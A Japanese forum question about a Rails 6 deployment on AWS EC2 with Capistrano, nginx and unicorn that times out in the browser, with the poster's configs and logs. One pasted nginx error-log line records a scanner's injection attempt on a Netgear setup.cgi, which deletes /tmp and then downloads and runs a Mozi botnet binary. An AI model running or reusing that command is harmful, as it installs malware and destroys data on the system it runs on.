##現状
railsとAWSを使ってデプロイ作業をしております。
capistranoで実行し、エラーはなく完了しますが、ブラウザに
このサイトにアクセスできません。
応答時間が長すぎます。
と表示されます。
##試したこと/確認したこと
・ps aux | grep nginxで、nginxが起動していることは確認済み
・EC2インスタンスの再起動(nginx,mysqldの再起動もその後行ってます)
・sudo vim /etc/nginx/conf.d/rails.confでserver_nameのアドレスの確認(nginx)
・unicorn.rbのtimeoutを延長
・ポートの確認(AWSセキュリティーグループ)
タイプ プロトコル ポート範囲 ソース
HTTP TCP 80 0.0.0.0/0
HTTP TCP 80 ::/0
SSH TCP 22 0.0.0.0/0
TCPルール TCP 3000 0.0.0.0/0
##開発環境
rails 6.0.1
ruby 2.5.1
capistrano
nginx(Webサーバー)
unicorn(アプリケーションサーバー)
AWS
##仮説
IPアドレスに問題があるかと思いましたが、AWSのインスタンスを見ると
CPU使用率が動いているため、問題なく起動はできていると考えています。
capistranoも問題なく実行完了するので、nginxに原因があると考えていますが、
server_nameの後に記述するIPアドレスに問題はありませんでした。
恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。
##追記事項
nginxのログでは以下のエラー文が出ておりました。
/var/log/nginx/error.log
2019/12/31 07:36:25 [error] 2790#0: 5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0"
unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
##unicorn.stderr.log
I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock}] (in /var/www/datingapp/releases/20200101095032)
I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete
##/etc/nginx/conf.d/rails.conf
upstream app_server { server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock; } server { listen 80; server_name 18.176.69.6; root /var/www/datingapp/current/public; location ^~ /assets/ { gzip_static on; expires max; add_header Cache-Control public; root /var/www/datingapp/current/public; } try_files $uri/index.html $uri @unicorn; location @unicorn { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://app_server; } error_page 500 502 503 504 /500.html; }
##sudo nginx -t 実行結果
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
##/etc/nginx/nginx.conf
user nginx; worker_processes auto; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; include /usr/share/nginx/modules/*.conf; events { worker_connections 1024; } http { log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; include /etc/nginx/mime.types; default_type application/octet-stream; include /etc/nginx/conf.d/*.conf; index index.html index.htm; server { listen 80 default_server; listen [::]:80 default_server; server_name localhost; root /usr/share/nginx/html; include /etc/nginx/default.d/*.conf; location / { }
##config/puma.rb
max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 } min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count } threads min_threads_count, max_threads_count port ENV.fetch("PORT") { 3000 } environment ENV.fetch("RAILS_ENV") { "development" } pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" } plugin :tmp_restart
##config.unicorn.rb
app_path = File.expand_path('../../../', __FILE__) worker_processes 1 working_directory "#{app_path}/current" pid "#{app_path}/shared/tmp/pids/unicorn.pid" #listen 3000 listen "#{app_path}/shared/tmp/sockets/unicorn.sock" stderr_path "#{app_path}/shared/log/unicorn.stderr.log" stdout_path "#{app_path}/shared/log/unicorn.stdout.log" timeout 120 preload_app true GC.respond_to?(:copy_on_write_friendly=) && GC.copy_on_write_friendly = true check_client_connection false run_once = true before_fork do |server, worker| defined?(ActiveRecord::Base) && ActiveRecord::Base.connection.disconnect! if run_once run_once = false # prevent from firing again end old_pid = "#{server.config[:pid]}.oldbin" if File.exist?(old_pid) && server.pid != old_pid begin sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU Process.kill(sig, File.read(old_pid).to_i) rescue Errno::ENOENT, Errno::ESRCH => e logger.error e end end end after_fork do |_server, _worker| defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection end
##gem list mysql 実行結果
mysql2 (0.5.2)